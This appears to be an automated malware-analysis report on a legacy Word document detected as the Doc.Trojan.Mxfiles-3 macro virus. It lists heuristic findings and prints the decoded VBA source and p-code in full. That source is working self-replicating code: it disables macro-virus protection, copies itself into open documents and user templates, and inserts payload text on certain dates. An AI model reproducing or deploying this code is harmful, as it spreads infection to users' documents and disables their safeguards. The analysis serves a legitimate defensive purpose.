MALICIOUS
196
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
This legacy Word document contains multiple VBA macros, including AutoOpen and Auto_Close, which are commonly used to execute malicious code upon opening or closing the document. The heuristic firings indicate the presence of legacy WordBasic macro virus markers and VBA p-code auto-execution with shell execution tokens. The script attempts to spread itself to other documents and modify registry keys for persistence, as evidenced by the attempt to write to HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings.
Heuristics 6
-
ClamAV: Doc.Trojan.Mxfiles-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Mxfiles-3
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub Autoclose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6741 bytes |
SHA-256: 43ccf25707b3a96b95532ff05ccc673c4aab8a541cb5461a0b7d3f170bd16040 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "Mxfile" Sub toolsmacro() Mxfiles End Sub Sub Autoexit() Mxfiles End Sub Sub Autoexec() Mxfiles End Sub Sub Autonew() Mxfiles End Sub Sub AutoOpen() Mxfiles End Sub Sub Autoclose() Mxfiles End Sub Sub Openshell() Mxfiles End Sub Sub Mxfiles() 'this is demo for Sk virus ,it do not make any thing On Error Resume Next Options.VirusProtection = False ddorg = ThisDocument.FullName For a = 1 To Documents.Count If Documents.Item(a).Path <> "" Then dest = Documents.Item(a).FullName SetAttr dest, vbNormal Else dest = Documents.Item(a).Name End If If ddorg <> dest Then Application.OrganizerCopy Source:=ddorg, Destination:=dest, Name:="Mxfile", Object:=wdOrganizerObjectProjectItems If Documents.Item(a).Path <> "" Then Documents.Item(a).Save End If End If dd = Documents.Item(a).AttachedTemplate dd1 = Options.DefaultFilePath(Path:=wdUserTemplatesPath) dd2 = dd1 + "\" + dd SetAttr dd2, vbNormal If ddorg <> dd2 Then Application.OrganizerCopy Source:=ddorg, Destination:=dd2, Name:="Mxfile", Object:=wdOrganizerObjectProjectItems End If SetAttr dd2, vbReadOnly Next a Dayn = Format(Date, "dd") Monthn = Format(Date, "mm") reg = Dayn Mod Monthn If reg = 0 Then txt = "ßáäÇ äÈÇíÚ ãÈÇÑß" ActiveWindow.ActivePane.View.SeekView = wdSeekCurrentPageHeader Selection.EndKey Unit:=wdLine, Extend:=wdExtend Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter Selection.TypeText Text:=txt ActiveWindow.ActivePane.View.SeekView = wdSeekCurrentPageFooter Selection.EndKey Unit:=wdLine, Extend:=wdExtend Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter Selection.TypeText Text:=txt + " Sk" ActiveWindow.ActivePane.View.SeekView = wdSeekMainDocument End If End Sub ' Processing file: /tmp/qstore_5tgho748 ' =============================================================================== ' Module streams: ' Macros/VBA/ThisDocument - 903 bytes ' Macros/VBA/Mxfile - 3930 bytes ' Line #0: ' FuncDefn (Sub toolsmacro()) ' Line #1: ' ArgsCall Mxfiles 0x0000 ' Line #2: ' EndSub ' Line #3: ' FuncDefn (Sub Autoexit()) ' Line #4: ' ArgsCall Mxfiles 0x0000 ' Line #5: ' EndSub ' Line #6: ' FuncDefn (Sub Autoexec()) ' Line #7: ' ArgsCall Mxfiles 0x0000 ' Line #8: ' EndSub ' Line #9: ' FuncDefn (Sub Autonew()) ' Line #10: ' ArgsCall Mxfiles 0x0000 ' Line #11: ' EndSub ' Line #12: ' FuncDefn (Sub AutoOpen()) ' Line #13: ' ArgsCall Mxfiles 0x0000 ' Line #14: ' EndSub ' Line #15: ' FuncDefn (Sub Autoclose()) ' Line #16: ' ArgsCall Mxfiles 0x0000 ' Line #17: ' EndSub ' Line #18: ' FuncDefn (Sub Openshell()) ' Line #19: ' ArgsCall Mxfiles 0x0000 ' Line #20: ' EndSub ' Line #21: ' FuncDefn (Sub Mxfiles()) ' Line #22: ' QuoteRem 0x0000 0x0033 "this is demo for Sk virus ,it do not make any thing" ' Line #23: ' OnError (Resume Next) ' Line #24: ' LitVarSpecial (False) ' Ld Options ' MemSt VirusProtection ' Line #25: ' Ld ThisDocument ' MemLd FullName ' St ddorg ' Line #26: ' StartForVariable ' Ld a ' EndForVariable ' LitDI2 0x0001 ' Ld Documents ' MemLd Count ' For ' Line #27: ' Ld a ' Ld Documents ' ArgsMemLd Item 0x0001 ' MemLd Path ' LitStr 0x0000 "" ' Ne ' IfBlock ' Line #28: ' Ld a ' Ld Documents ' ArgsMemLd Item 0x0001 ' MemLd FullName ' St dest ' Line #29: ' Ld dest ' Ld vbNormal ' ArgsCall SetAttr 0x0002 ' Line #30: ' ElseBlock ' Line #31: ' Ld a ' Ld Documents ' ArgsMemLd Item 0x0001 ' MemLd New ' St dest ' Line #32: ' EndIfBlock ' Line #33: ' Ld ddorg ' Ld dest ' Ne ' IfBlock ' Line #34: ' Ld ddorg ' ParamNamed Source ' Ld dest ' ParamNamed Destination ' LitStr 0x0006 "Mxfile" ' ParamNamed New ' Ld wdOrganizerObjectProjectItems ' ParamNamed On ' Ld Application ' ArgsMemCall OrganizerCopy 0x0004 ' Line #35: ' Ld a ' Ld Documents ' ArgsMemLd Item 0x0001 ' MemLd Path ' LitStr 0x0000 "" ' Ne ' IfBlock ' Line #36: ' Ld a ' Ld Documents ' ArgsMemLd Item 0x0001 ' ArgsMemCall Save 0x0000 ' Line #37: ' EndIfBlock ' Line #38: ' EndIfBlock ' Line #39: ' Ld a ' Ld Documents ' ArgsMemLd Item 0x0001 ' MemLd AttachedTemplate ' St dd ' Line #40: ' Ld wdUserTemplatesPath ' ParamNamed Path ' Ld Options ' ArgsMemLd DefaultFilePath 0x0001 ' St dd1 ' Line #41: ' Ld dd1 ' LitStr 0x0001 "\" ' Add ' Ld dd ' Add ' St dd2 ' Line #42: ' Ld dd2 ' Ld vbNormal ' ArgsCall SetAttr 0x0002 ' Line #43: ' Ld ddorg ' Ld dd2 ' Ne ' IfBlock ' Line #44: ' Ld ddorg ' ParamNamed Source ' Ld dd2 ' ParamNamed Destination ' LitStr 0x0006 "Mxfile" ' ParamNamed New ' Ld wdOrganizerObjectProjectItems ' ParamNamed On ' Ld Application ' ArgsMemCall OrganizerCopy 0x0004 ' Line #45: ' EndIfBlock ' Line #46: ' Ld dd2 ' Ld vbReadOnly ' ArgsCall SetAttr 0x0002 ' Line #47: ' StartForVariable ' Ld a ' EndForVariable ' NextVar ' Line #48: ' Ld Date ' LitStr 0x0002 "dd" ' ArgsLd Format$ 0x0002 ' St Dayn ' Line #49: ' Ld Date ' LitStr 0x0002 "mm" ' ArgsLd Format$ 0x0002 ' St Monthn ' Line #50: ' Ld Dayn ' Ld Monthn ' Mod ' St reg ' Line #51: ' Ld reg ' LitDI2 0x0000 ' Eq ' IfBlock ' Line #52: ' LitStr 0x0010 "ßáäÇ äÈÇíÚ ãÈÇÑß" ' St txt ' Line #53: ' Ld wdSeekCurrentPageHeader ' Ld ActiveWindow ' MemLd ActivePane ' MemLd View ' MemSt SeekView ' Line #54: ' Ld wdLine ' ParamNamed Unit ' Ld wdExtend ' ParamNamed Extend ' Ld Selection ' ArgsMemCall EndKey 0x0002 ' Line #55: ' Ld wdAlignParagraphCenter ' Ld Selection ' MemLd ParagraphFormat ' MemSt Alignment ' Line #56: ' Ld txt ' ParamNamed Then ' Ld Selection ' ArgsMemCall TypeText 0x0001 ' Line #57: ' Ld wdSeekCurrentPageFooter ' Ld ActiveWindow ' MemLd ActivePane ' MemLd View ' MemSt SeekView ' Line #58: ' Ld wdLine ' ParamNamed Unit ' Ld wdExtend ' ParamNamed Extend ' Ld Selection ' ArgsMemCall EndKey 0x0002 ' Line #59: ' Ld wdAlignParagraphCenter ' Ld Selection ' MemLd ParagraphFormat ' MemSt Alignment ' Line #60: ' Ld txt ' LitStr 0x0021 " Sk" ' Add ' ParamNamed Then ' Ld Selection ' ArgsMemCall TypeText 0x0001 ' Line #61: ' Ld wdSeekMainDocument ' Ld ActiveWindow ' MemLd ActivePane ' MemLd View ' MemSt SeekView ' Line #62: ' EndIfBlock ' Line #63: ' EndSub ' Line #64: |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.